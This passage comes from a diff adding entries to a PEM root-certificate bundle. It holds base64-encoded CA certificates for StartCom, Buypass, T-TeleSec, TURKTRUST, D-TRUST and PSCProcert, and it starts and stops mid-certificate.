+aW9uIEF1dGhvcml0eSBQb2xpY3kgYXZhaWxhYmxlIGF0IGh0dHA6Ly93d3cuc3RhcnRzc2wuY29t
+L3BvbGljeS5wZGYwEQYJYIZIAYb4QgEBBAQDAgAHMDgGCWCGSAGG+EIBDQQrFilTdGFydENvbSBG
+cmVlIFNTTCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTANBgkqhkiG9w0BAQsFAAOCAgEAjo/n3JR5
+fPGFf59Jb2vKXfuM/gTFwWLRfUKKvFO3lANmMD+x5wqnUCBVJX92ehQN6wQOQOY+2IirByeDqXWm
+N3PH/UvSTa0XQMhGvjt/UfzDtgUx3M2FIk5xt/JxXrAaxrqTi3iSSoX4eA+D/i+tLPfkpLst0OcN
+Org+zvZ49q5HJMqjNTbOx8aHmNrs++myziebiMMEofYLWWivydsQD032ZGNcpRJvkrKTlMeIFw6T
+tn5ii5B/q06f/ON1FE8qMt9bDeD1e5MNq6HPh+GlBEXoPBKlCcWw0bdT82AUuoVpaiF8H3VhFyAX
+e2w7QSlc4axa0c2Mm+tgHRns9+Ww2vl5GKVFP0lDV9LdJNUso/2RjSe15esUBppMeyG7Oq0wBhjA
+2MFrLH9ZXF2RsXAiV+uKa0hK1Q8p7MZAwC+ITGgBF3f0JBlPvfrhsiAhS90a2Cl9qrjeVOwhVYBs
+HvUwyKMQ5bLmKhQxw4UtjJixhlpPiVktucf3HMiKf8CdBUrmQk9io20ppB+Fq9vlgcitKj1MXVuE
+JnHEhV5xJMqlG2zYYdMa4FTbzrqpMrUi9nNBCV24F10OD5mQ1kfabwo6YigUZ4LZ8dCAWZvLMdib
+D4x3TrVoivJs9iQOLWxwxXPR3hTQcY+203sC9uO41Alua551hDnmfyWl8kgAwKQB2j8=
+-----END CERTIFICATE-----
+
+StartCom Certification Authority G2
+===================================
+-----BEGIN CERTIFICATE-----
+MIIFYzCCA0ugAwIBAgIBOzANBgkqhkiG9w0BAQsFADBTMQswCQYDVQQGEwJJTDEWMBQGA1UEChMN
+U3RhcnRDb20gTHRkLjEsMCoGA1UEAxMjU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkg
+RzIwHhcNMTAwMTAxMDEwMDAxWhcNMzkxMjMxMjM1OTAxWjBTMQswCQYDVQQGEwJJTDEWMBQGA1UE
+ChMNU3RhcnRDb20gTHRkLjEsMCoGA1UEAxMjU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3Jp
+dHkgRzIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2iTZbB7cgNr2Cu+EWIAOVeq8O
+o1XJJZlKxdBWQYeQTSFgpBSHO839sj60ZwNq7eEPS8CRhXBF4EKe3ikj1AENoBB5uNsDvfOpL9HG
+4A/LnooUCri99lZi8cVytjIl2bLzvWXFDSxu1ZJvGIsAQRSCb0AgJnooD/Uefyf3lLE3PbfHkffi
+Aez9lInhzG7TNtYKGXmu1zSCZf98Qru23QumNK9LYP5/Q0kGi4xDuFby2X8hQxfqp0iVAXV16iul
+Q5XqFYSdCI0mblWbq9zSOdIxHWDirMxWRST1HFSr7obdljKF+ExP6JV2tgXdNiNnvP8V4so75qbs
+O+wmETRIjfaAKxojAuuKHDp2KntWFhxyKrOq42ClAJ8Em+JvHhRYW6Vsi1g8w7pOOlz34ZYrPu8H
+vKTlXcxNnw3h3Kq74W4a7I/htkxNeXJdFzULHdfBR9qWJODQcqhaX2YtENwvKhOuJv4KHBnM0D4L
+nMgJLvlblnpHnOl68wVQdJVznjAJ85eCXuaPOQgeWeU1FEIT/wCc976qUM/iUUjXuG+v+E5+M5iS
+FGI6dWPPe/regjupuznixL0sAA7IF6wT700ljtizkC+p2il9Ha90OrInwMEePnWjFqmveiJdnxMa
+z6eg6+OGCtP95paV1yPIN93EfKo2rJgaErHgTuixO/XWb/Ew1wIDAQABo0IwQDAPBgNVHRMBAf8E
+BTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUS8W0QGutHLOlHGVuRjaJhwUMDrYwDQYJ
+KoZIhvcNAQELBQADggIBAHNXPyzVlTJ+N9uWkusZXn5T50HsEbZH77Xe7XRcxfGOSeD8bpkTzZ+K
+2s06Ctg6Wgk/XzTQLwPSZh0avZyQN8gMjgdalEVGKua+etqhqaRpEpKwfTbURIfXUfEpY9Z1zRbk
+J4kd+MIySP3bmdCPX1R0zKxnNBFi2QwKN4fRoxdIjtIXHfbX/dtl6/2o1PXWT6RbdejF0mCy2wl+
+JYt7ulKSnj7oxXehPOBKc2thz4bcQ///If4jXSRK9dNtD2IEBVeC2m6kMyV5Sy5UGYvMLD0w6dEG
+/+gyRr61M3Z3qAFdlsHB1b6uJcDJHgoJIIihDsnzb02CVAAgp9KP5DlUFy6NHrgbuxu9mk47EDTc
+nIhT76IxW1hPkWLIwpqazRVdOKnWvvgTtZ8SafJQYqz7Fzf07rh1Z2AQ+4NQ+US1dZxAF7L+/Xld
+blhYXzD8AK6vM8EOTmy6p6ahfzLbOOCxchcKK5HsamMm7YnUeMx0HgX4a/6ManY5Ka5lIxKVCCIc
+l85bBu4M4ru8H0ST9tg4RQUh7eStqxK2A6RCLi3ECToDZ2mEmuFZkIoohdVddLHRDiBYmxOlsGOm
+7XtH/UVVMKTumtTm4ofvmMkyghEpIrwACjFeLQ/Ajulrso8uBtjRkcfGEvRM/TAXw8HaOFvjqerm
+obp573PYtlNXLfbQ4ddI
+-----END CERTIFICATE-----
+
+Buypass Class 2 Root CA
+=======================
+-----BEGIN CERTIFICATE-----
+MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU
+QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMiBSb290IENBMB4X
+DTEwMTAyNjA4MzgwM1oXDTQwMTAyNjA4MzgwM1owTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1
+eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDIgUm9vdCBDQTCCAiIw
+DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANfHXvfBB9R3+0Mh9PT1aeTuMgHbo4Yf5FkNuud1
+g1Lr6hxhFUi7HQfKjK6w3Jad6sNgkoaCKHOcVgb/S2TwDCo3SbXlzwx87vFKu3MwZfPVL4O2fuPn
+9Z6rYPnT8Z2SdIrkHJasW4DptfQxh6NR/Md+oW+OU3fUl8FVM5I+GC911K2GScuVr1QGbNgGE41b
+/+EmGVnAJLqBcXmQRFBoJJRfuLMR8SlBYaNByyM21cHxMlAQTn/0hpPshNOOvEu/XAFOBz3cFIqU
+CqTqc/sLUegTBxj6DvEr0VQVfTzh97QZQmdiXnfgolXsttlpF9U6r0TtSsWe5HonfOV116rLJeff
+awrbD02TTqigzXsu8lkBarcNuAeBfos4GzjmCleZPe4h6KP1DBbdi+w0jpwqHAAVF41og9JwnxgI
+zRFo1clrUs3ERo/ctfPYV3Me6ZQ5BL/T3jjetFPsaRyifsSP5BtwrfKi+fv3FmRmaZ9JUaLiFRhn
+Bkp/1Wy1TbMz4GHrXb7pmA8y1x1LPC5aAVKRCfLf6o3YBkBjqhHk/sM3nhRSP/TizPJhk9H9Z2vX
+Uq6/aKtAQ6BXNVN48FP4YUIHZMbXb5tMOA1jrGKvNouicwoN9SG9dKpN6nIDSdvHXx1iY8f93ZHs
+M+71bbRuMGjeyNYmsHVee7QHIJihdjK4TWxPAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD
+VR0OBBYEFMmAd+BikoL1RpzzuvdMw964o605MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF
+AAOCAgEAU18h9bqwOlI5LJKwbADJ784g7wbylp7ppHR/ehb8t/W2+xUbP6umwHJdELFx7rxP462s
+A20ucS6vxOOto70MEae0/0qyexAQH6dXQbLArvQsWdZHEIjzIVEpMMpghq9Gqx3tOluwlN5E40EI
+osHsHdb9T7bWR9AUC8rmyrV7d35BH16Dx7aMOZawP5aBQW9gkOLo+fsicdl9sz1Gv7SEr5AcD48S
+aq/v7h56rgJKihcrdv6sVIkkLE8/trKnToyokZf7KcZ7XC25y2a2t6hbElGFtQl+Ynhw/qlqYLYd
+DnkM/crqJIByw5c/8nerQyIKx+u2DISCLIBrQYoIwOula9+ZEsuK1V6ADJHgJgg2SMX6OBE1/yWD
+LfJ6v9r9jv6ly0UsH8SIU653DtmadsWOLB2jutXsMq7Aqqz30XpN69QH4kj3Io6wpJ9qzo6ysmD0
+oyLQI+uUWnpp3Q+/QFesa1lQ2aOZ4W7+jQF5JyMV3pKdewlNWudLSDBaGOYKbeaP4NK75t98biGC
+wWg5TbSYWGZizEqQXsP6JwSxeRV0mcy+rSDeJmAc61ZRpqPq5KM/p/9h3PFaTWwyI0PurKju7koS
+CTxdccK+efrCh2gdC/1cacwG0Jp9VJkqyTkaGa9LKkPzY11aWOIv4x3kqdbQCtCev9eBCfHJxyYN
+rJgWVqA=
+-----END CERTIFICATE-----
+
+Buypass Class 3 Root CA
+=======================
+-----BEGIN CERTIFICATE-----
+MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU
+QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMyBSb290IENBMB4X
+DTEwMTAyNjA4Mjg1OFoXDTQwMTAyNjA4Mjg1OFowTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1
+eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDMgUm9vdCBDQTCCAiIw
+DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKXaCpUWUOOV8l6ddjEGMnqb8RB2uACatVI2zSRH
+sJ8YZLya9vrVediQYkwiL944PdbgqOkcLNt4EemOaFEVcsfzM4fkoF0LXOBXByow9c3EN3coTRiR
+5r/VUv1xLXA+58bEiuPwKAv0dpihi4dVsjoT/Lc+JzeOIuOoTyrvYLs9tznDDgFHmV0ST9tD+leh
+7fmdvhFHJlsTmKtdFoqwNxxXnUX/iJY2v7vKB3tvh2PX0DJq1l1sDPGzbjniazEuOQAnFN44wOwZ
+ZoYS6J1yFhNkUsepNxz9gjDthBgd9K5c/3ATAOux9TN6S9ZV+AWNS2mw9bMoNlwUxFFzTWsL8TQH
+2xc519woe2v1n/MuwU8XKhDzzMro6/1rqy6any2CbgTUUgGTLT2G/H783+9CHaZr77kgxve9oKeV
+/afmiSTYzIw0bOIjL9kSGiG5VZFvC5F5GQytQIgLcOJ60g7YaEi7ghM5EFjp2CoHxhLbWNvSO1UQ
+RwUVZ2J+GGOmRj8JDlQyXr8NYnon74Do29lLBlo3WiXQCBJ31G8JUJc9yB3D34xFMFbG02SrZvPA
+Xpacw8Tvw3xrizp5f7NJzz3iiZ+gMEuFuZyUJHmPfWupRWgPK9Dx2hzLabjKSWJtyNBjYt1gD1iq
+j6G8BaVmos8bdrKEZLFMOVLAMLrwjEsCsLa3AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD
+VR0OBBYEFEe4zf/lb+74suwvTg75JbCOPGvDMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF
+AAOCAgEAACAjQTUEkMJAYmDv4jVM1z+s4jSQuKFvdvoWFqRINyzpkMLyPPgKn9iB5btb2iUspKdV
+cSQy9sgL8rxq+JOssgfCX5/bzMiKqr5qb+FJEMwx14C7u8jYog5kV+qi9cKpMRXSIGrs/CIBKM+G
+uIAeqcwRpTzyFrNHnfzSgCHEy9BHcEGhyoMZCCxt8l13nIoUE9Q2HJLw5QY33KbmkJs4j1xrG0aG
+Q0JfPgEHU1RdZX33inOhmlRaHylDFCfChQ+1iHsaO5S3HWCntZznKWlXWpuTekMwGwPXYshApqr8
+ZORK15FTAaggiG6cX0S5y2CBNOxv033aSF/rtJC8LakcC6wc1aJoIIAE1vyxjy+7SjENSoYc6+I2
+KSb12tjE8nVhz36udmNKekBlk4f4HoCMhuWG1o8O/FMsYOgWYRqiPkN7zTlgVGr18okmAWiDSKIz
+6MkEkbIRNBE+6tBDGR8Dk5AM/1E9V/RBbuHLoL7ryWPNbczk+DaqaJ3tvV2XcEQNtg413OEMXbug
+UZTLfhbrES+jkkXITHHZvMmZUldGL1DPvTVp9D0VzgalLA8+9oG6lLvDu79leNKGef9JOxqDDPDe
+eOzI8k1MGt6CKfjBWtrt7uYnXuhF0J0cUahoq0Tj0Itq4/g7u9xN12TyUb7mqqta6THuBrxzvxNi
+Cp/HuZc=
+-----END CERTIFICATE-----
+
+T-TeleSec GlobalRoot Class 3
+============================
+-----BEGIN CERTIFICATE-----
+MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoM
+IlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBU
+cnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwHhcNMDgx
+MDAxMTAyOTU2WhcNMzMxMDAxMjM1OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lz
+dGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBD
+ZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwggEiMA0GCSqGSIb3
+DQEBAQUAA4IBDwAwggEKAoIBAQC9dZPwYiJvJK7genasfb3ZJNW4t/zN8ELg63iIVl6bmlQdTQyK
+9tPPcPRStdiTBONGhnFBSivwKixVA9ZIw+A5OO3yXDw/RLyTPWGrTs0NvvAgJ1gORH8EGoel15YU
+NpDQSXuhdfsaa3Ox+M6pCSzyU9XDFES4hqX2iys52qMzVNn6chr3IhUciJFrf2blw2qAsCTz34ZF
+iP0Zf3WHHx+xGwpzJFu5ZeAsVMhg02YXP+HMVDNzkQI6pn97djmiH5a2OK61yJN0HZ65tOVgnS9W
+0eDrXltMEnAMbEQgqxHY9Bn20pxSN+f6tsIxO0rUFJmtxxr1XV/6B7h8DR/Wgx6zAgMBAAGjQjBA
+MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS1A/d2O2GCahKqGFPr
+AyGUv/7OyjANBgkqhkiG9w0BAQsFAAOCAQEAVj3vlNW92nOyWL6ukK2YJ5f+AbGwUgC4TeQbIXQb
+fsDuXmkqJa9c1h3a0nnJ85cp4IaH3gRZD/FZ1GSFS5mvJQQeyUapl96Cshtwn5z2r3Ex3XsFpSzT
+ucpH9sry9uetuUg/vBa3wW306gmv7PO15wWeph6KU1HWk4HMdJP2udqmJQV0eVp+QD6CSyYRMG7h
+P0HHRwA11fXT91Q+gT3aSWqas+8QPebrb9HIIkfLzM8BMZLZGOMivgkeGj5asuRrDFR6fUNOuIml
+e9eiPZaGzPImNC1qkp2aGtAw4l1OBLBfiyB+d8E9lYLRRpo7PHi4b6HQDWSieB4pTpPDpFQUWw==
+-----END CERTIFICATE-----
+
+TURKTRUST Certificate Services Provider Root 2007
+=================================================
+-----BEGIN CERTIFICATE-----
+MIIEPTCCAyWgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBvzE/MD0GA1UEAww2VMOcUktUUlVTVCBF
+bGVrdHJvbmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxMQswCQYDVQQGEwJUUjEP
+MA0GA1UEBwwGQW5rYXJhMV4wXAYDVQQKDFVUw5xSS1RSVVNUIEJpbGdpIMSwbGV0acWfaW0gdmUg
+QmlsacWfaW0gR8O8dmVubGnEn2kgSGl6bWV0bGVyaSBBLsWeLiAoYykgQXJhbMSxayAyMDA3MB4X
+DTA3MTIyNTE4MzcxOVoXDTE3MTIyMjE4MzcxOVowgb8xPzA9BgNVBAMMNlTDnFJLVFJVU1QgRWxl
+a3Ryb25payBTZXJ0aWZpa2EgSGl6bWV0IFNhxJ9sYXnEsWPEsXPEsTELMAkGA1UEBhMCVFIxDzAN
+BgNVBAcMBkFua2FyYTFeMFwGA1UECgxVVMOcUktUUlVTVCBCaWxnaSDEsGxldGnFn2ltIHZlIEJp
+bGnFn2ltIEfDvHZlbmxpxJ9pIEhpem1ldGxlcmkgQS7Fni4gKGMpIEFyYWzEsWsgMjAwNzCCASIw
+DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKu3PgqMyKVYFeaK7yc9SrToJdPNM8Ig3BnuiD9N
+YvDdE3ePYakqtdTyuTFYKTsvP2qcb3N2Je40IIDu6rfwxArNK4aUyeNgsURSsloptJGXg9i3phQv
+KUmi8wUG+7RP2qFsmmaf8EMJyupyj+sA1zU511YXRxcw9L6/P8JorzZAwan0qafoEGsIiveGHtya
+KhUG9qPw9ODHFNRRf8+0222vR5YXm3dx2KdxnSQM9pQ/hTEST7ruToK4uT6PIzdezKKqdfcYbwnT
+rqdUKDT74eA7YH2gvnmJhsifLfkKS8RQouf9eRbHegsYz85M733WB2+Y8a+xwXrXgTW4qhe04MsC
+AwEAAaNCMEAwHQYDVR0OBBYEFCnFkKslrxHkYb+j/4hhkeYO/pyBMA4GA1UdDwEB/wQEAwIBBjAP
+BgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQAQDdr4Ouwo0RSVgrESLFF6QSU2TJ/s
+Px+EnWVUXKgWAkD6bho3hO9ynYYKVZ1WKKxmLNA6VpM0ByWtCLCPyA8JWcqdmBzlVPi5RX9ql2+I
+aE1KBiY3iAIOtsbWcpnOa3faYjGkVh+uX4132l32iPwa2Z61gfAyuOOI0JzzaqC5mxRZNTZPz/OO
+Xl0XrRWV2N2y1RVuAE6zS89mlOTgzbUF2mNXi+WzqtvALhyQRNsaXRik7r4EW5nVcV9VZWRi1aKb
+BFmGyGJ353yCRWo9F7/snXUMrqNvWtMvmDb08PUZqxFdyKbjKlhqQgnDvZImZjINXQhVdP+MmNAK
+poRq0Tl9
+-----END CERTIFICATE-----
+
+D-TRUST Root Class 3 CA 2 2009
+==============================
+-----BEGIN CERTIFICATE-----
+MIIEMzCCAxugAwIBAgIDCYPzMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQK
+DAxELVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTAe
+Fw0wOTExMDUwODM1NThaFw0yOTExMDUwODM1NThaME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQKDAxE
+LVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTCCASIw
+DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANOySs96R+91myP6Oi/WUEWJNTrGa9v+2wBoqOAD
+ER03UAifTUpolDWzU9GUY6cgVq/eUXjsKj3zSEhQPgrfRlWLJ23DEE0NkVJD2IfgXU42tSHKXzlA
+BF9bfsyjxiupQB7ZNoTWSPOSHjRGICTBpFGOShrvUD9pXRl/RcPHAY9RySPocq60vFYJfxLLHLGv
+KZAKyVXMD9O0Gu1HNVpK7ZxzBCHQqr0ME7UAyiZsxGsMlFqVlNpQmvH/pStmMaTJOKDfHR+4CS7z
+p+hnUquVH+BGPtikw8paxTGA6Eian5Rp/hnd2HN8gcqW3o7tszIFZYQ05ub9VxC1X3a/L7AQDcUC
+AwEAAaOCARowggEWMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFP3aFMSfMN4hvR5COfyrYyNJ
+4PGEMA4GA1UdDwEB/wQEAwIBBjCB0wYDVR0fBIHLMIHIMIGAoH6gfIZ6bGRhcDovL2RpcmVjdG9y
+eS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwUm9vdCUyMENsYXNzJTIwMyUyMENBJTIwMiUyMDIw
+MDksTz1ELVRydXN0JTIwR21iSCxDPURFP2NlcnRpZmljYXRlcmV2b2NhdGlvbmxpc3QwQ6BBoD+G
+PWh0dHA6Ly93d3cuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3Rfcm9vdF9jbGFzc18zX2NhXzJfMjAw
+OS5jcmwwDQYJKoZIhvcNAQELBQADggEBAH+X2zDI36ScfSF6gHDOFBJpiBSVYEQBrLLpME+bUMJm
+2H6NMLVwMeniacfzcNsgFYbQDfC+rAF1hM5+n02/t2A7nPPKHeJeaNijnZflQGDSNiH+0LS4F9p0
+o3/U37CYAqxva2ssJSRyoWXuJVrl5jLn8t+rSfrzkGkj2wTZ51xY/GXUl77M/C4KzCUqNQT4YJEV
+dT1B/yMfGchs64JTBKbkTCJNjYy6zltz7GRUUG3RnFX7acM2w4y8PIWmawomDeCTmGCufsYkl4ph
+X5GOZpIJhzbNi5stPvZR1FDUWSi9g/LMKHtThm3YJohw1+qRzT65ysCQblrGXnRl11z+o+I=
+-----END CERTIFICATE-----
+
+D-TRUST Root Class 3 CA 2 EV 2009
+=================================
+-----BEGIN CERTIFICATE-----
+MIIEQzCCAyugAwIBAgIDCYP0MA0GCSqGSIb3DQEBCwUAMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQK
+DAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAw
+OTAeFw0wOTExMDUwODUwNDZaFw0yOTExMDUwODUwNDZaMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQK
+DAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAw
+OTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJnxhDRwui+3MKCOvXwEz75ivJn9gpfS
+egpnljgJ9hBOlSJzmY3aFS3nBfwZcyK3jpgAvDw9rKFs+9Z5JUut8Mxk2og+KbgPCdM03TP1YtHh
+zRnp7hhPTFiu4h7WDFsVWtg6uMQYZB7jM7K1iXdODL/ZlGsTl28So/6ZqQTMFexgaDbtCHu39b+T
+7WYxg4zGcTSHThfqr4uRjRxWQa4iN1438h3Z0S0NL2lRp75mpoo6Kr3HGrHhFPC+Oh25z1uxav60
+sUYgovseO3Dvk5h9jHOW8sXvhXCtKSb8HgQ+HKDYD8tSg2J87otTlZCpV6LqYQXY+U3EJ/pure35
+11H3a6UCAwEAAaOCASQwggEgMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFNOUikxiEyoZLsyv
+cop9NteaHNxnMA4GA1UdDwEB/wQEAwIBBjCB3QYDVR0fBIHVMIHSMIGHoIGEoIGBhn9sZGFwOi8v
+ZGlyZWN0b3J5LmQtdHJ1c3QubmV0L0NOPUQtVFJVU1QlMjBSb290JTIwQ2xhc3MlMjAzJTIwQ0El
+MjAyJTIwRVYlMjAyMDA5LE89RC1UcnVzdCUyMEdtYkgsQz1ERT9jZXJ0aWZpY2F0ZXJldm9jYXRp
+b25saXN0MEagRKBChkBodHRwOi8vd3d3LmQtdHJ1c3QubmV0L2NybC9kLXRydXN0X3Jvb3RfY2xh
+c3NfM19jYV8yX2V2XzIwMDkuY3JsMA0GCSqGSIb3DQEBCwUAA4IBAQA07XtaPKSUiO8aEXUHL7P+
+PPoeUSbrh/Yp3uDx1MYkCenBz1UbtDDZzhr+BlGmFaQt77JLvyAoJUnRpjZ3NOhk31KxEcdzes05
+nsKtjHEh8lprr988TlWvsoRlFIm5d8sqMb7Po23Pb0iUMkZv53GMoKaEGTcH8gNFCSuGdXzfX2lX
+ANtu2KZyIktQ1HWYVt+3GP9DQ1CuekR78HlR10M9p9OB0/DJT7naxpeG0ILD5EJt/rDiZE4OJudA
+NCa1CInXCGNjOCd1HjPqbqjdn5lPdE2BiYBL3ZqXKVwvvoFBuYz/6n1gBp7N1z3TLqMVvKjmJuVv
+w9y4AyHqnxbxLFS1
+-----END CERTIFICATE-----
+
+PSCProcert
+==========
+-----BEGIN CERTIFICATE-----
+MIIJhjCCB26gAwIBAgIBCzANBgkqhkiG9w0BAQsFADCCAR4xPjA8BgNVBAMTNUF1dG9yaWRhZCBk
+ZSBDZXJ0aWZpY2FjaW9uIFJhaXogZGVsIEVzdGFkbyBWZW5lem9sYW5vMQswCQYDVQQGEwJWRTEQ
+MA4GA1UEBxMHQ2FyYWNhczEZMBcGA1UECBMQRGlzdHJpdG8gQ2FwaXRhbDE2MDQGA1UEChMtU2lz
+dGVtYSBOYWNpb25hbCBkZSBDZXJ0aWZpY2FjaW9uIEVsZWN0cm9uaWNhMUMwQQYDVQQLEzpTdXBl
+cmludGVuZGVuY2lhIGRlIFNlcnZpY2lvcyBkZSBDZXJ0aWZpY2FjaW9uIEVsZWN0cm9uaWNhMSUw
+IwYJKoZIhvcNAQkBFhZhY3JhaXpAc3VzY2VydGUuZ29iLnZlMB4XDTEwMTIyODE2NTEwMFoXDTIw
+MTIyNTIzNTk1OVowgdExJjAkBgkqhkiG9w0BCQEWF2NvbnRhY3RvQHByb2NlcnQubmV0LnZlMQ8w
+DQYDVQQHEwZDaGFjYW8xEDAOBgNVBAgTB01pcmFuZGExKjAoBgNVBAsTIVByb3ZlZWRvciBkZSBD
+ZXJ0aWZpY2Fkb3MgUFJPQ0VSVDE2MDQGA1UEChMtU2lzdGVtYSBOYWNpb25hbCBkZSBDZXJ0aWZp
+Y2FjaW9uIEVsZWN0cm9uaWNhMQswCQYDVQQGEwJWRTETMBEGA1UEAxMKUFNDUHJvY2VydDCCAiIw
+DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANW39KOUM6FGqVVhSQ2oh3NekS1wwQYalNo97BVC
+wfWMrmoX8Yqt/ICV6oNEolt6Vc5Pp6XVurgfoCfAUFM+jbnADrgV3NZs+J74BCXfgI8Qhd19L3uA
+3VcAZCP4bsm+lU/hdezgfl6VzbHvvnpC2Mks0+saGiKLt38GieU89RLAu9MLmV+QfI4tL3czkkoh
+RqipCKzx9hEC2ZUWno0vluYC3XXCFCpa1sl9JcLB/KpnheLsvtF8PPqv1W7/U0HU9TI4seJfxPmO
+EO8GqQKJ/+MMbpfg353bIdD0PghpbNjU5Db4g7ayNo+c7zo3Fn2/omnXO1ty0K+qP1xmk6wKImG2
+0qCZyFSTXai20b1dCl53lKItwIKOvMoDKjSuc/HUtQy9vmebVOvh+qBa7Dh+PsHMosdEMXXqP+UH
+0quhJZb25uSgXTcYOWEAM11G1ADEtMo88aKjPvM6/2kwLkDd9p+cJsmWN63nOaK/6mnbVSKVUyqU
+td+tFjiBdWbjxywbk5yqjKPK2Ww8F22c3HxT4CAnQzb5EuE8XL1mv6JpIzi4mWCZDlZTOpx+FIyw
+Bm/xhnaQr/2v/pDGj59/i5IjnOcVdo/Vi5QTcmn7K2FjiO/mpF7moxdqWEfLcU8UC17IAggmosvp
+r2uKGcfLFFb14dq12fy/czja+eevbqQ34gcnAgMBAAGjggMXMIIDEzASBgNVHRMBAf8ECDAGAQH/
+AgEBMDcGA1UdEgQwMC6CD3N1c2NlcnRlLmdvYi52ZaAbBgVghl4CAqASDBBSSUYtRy0yMDAwNDAz
+Ni0wMB0GA1UdDgQWBBRBDxk4qpl/Qguk1yeYVKIXTC1RVDCCAVAGA1UdIwSCAUcwggFDgBStuyId
+xuDSAaj9dlBSk+2YwU2u06GCASakggEiMIIBHjE+MDwGA1UEAxM1QXV0b3JpZGFkIGRlIENlcnRp
+ZmljYWNpb24gUmFpeiBkZWwgRXN0YWRvIFZlbmV6b2xhbm8xCzAJBgNVBAYTAlZFMRAwDgYDVQQH
+EwdDYXJhY2FzMRkwFwYDVQQIExBEaXN0cml0byBDYXBpdGFsMTYwNAYDVQQKEy1TaXN0ZW1hIE5h
+Y2lvbmFsIGRlIENlcnRpZmljYWNpb24gRWxlY3Ryb25pY2ExQzBBBgNVBAsTOlN1cGVyaW50ZW5k
+ZW5jaWEgZGUgU2VydmljaW9zIGRlIENlcnRpZmljYWNpb24gRWxlY3Ryb25pY2ExJTAjBgkqhkiG
+9w0BCQEWFmFjcmFpekBzdXNjZXJ0ZS5nb2IudmWCAQowDgYDVR0PAQH/BAQDAgEGME0GA1UdEQRG
+MESCDnByb2NlcnQubmV0LnZloBUGBWCGXgIBoAwMClBTQy0wMDAwMDKgGwYFYIZeAgKgEgwQUklG
+LUotMzE2MzUzNzMtNzB2BgNVHR8EbzBtMEagRKBChkBodHRwOi8vd3d3LnN1c2NlcnRlLmdvYi52
+ZS9sY3IvQ0VSVElGSUNBRE8tUkFJWi1TSEEzODRDUkxERVIuY3JsMCOgIaAfhh1sZGFwOi8vYWNy
+YWl6LnN1c2NlcnRlLmdvYi52ZTA3BggrBgEFBQcBAQQrMCkwJwYIKwYBBQUHMAGGG2h0dHA6Ly9v
+Y3NwLnN1c2NlcnRlLmdvYi52ZTBBBgNVHSAEOjA4MDYGBmCGXgMBAjAsMCoGCCsGAQUFBwIBFh5o
+dHRwOi8vd3d3LnN1c2NlcnRlLmdvYi52ZS9kcGMwDQYJKoZIhvcNAQELBQADggIBACtZ6yKZu4Sq
+T96QxtGGcSOeSwORR3C7wJJg7ODU523G0+1ng3dS1fLld6c2suNUvtm7CpsR72H0xpkzmfWvADmN
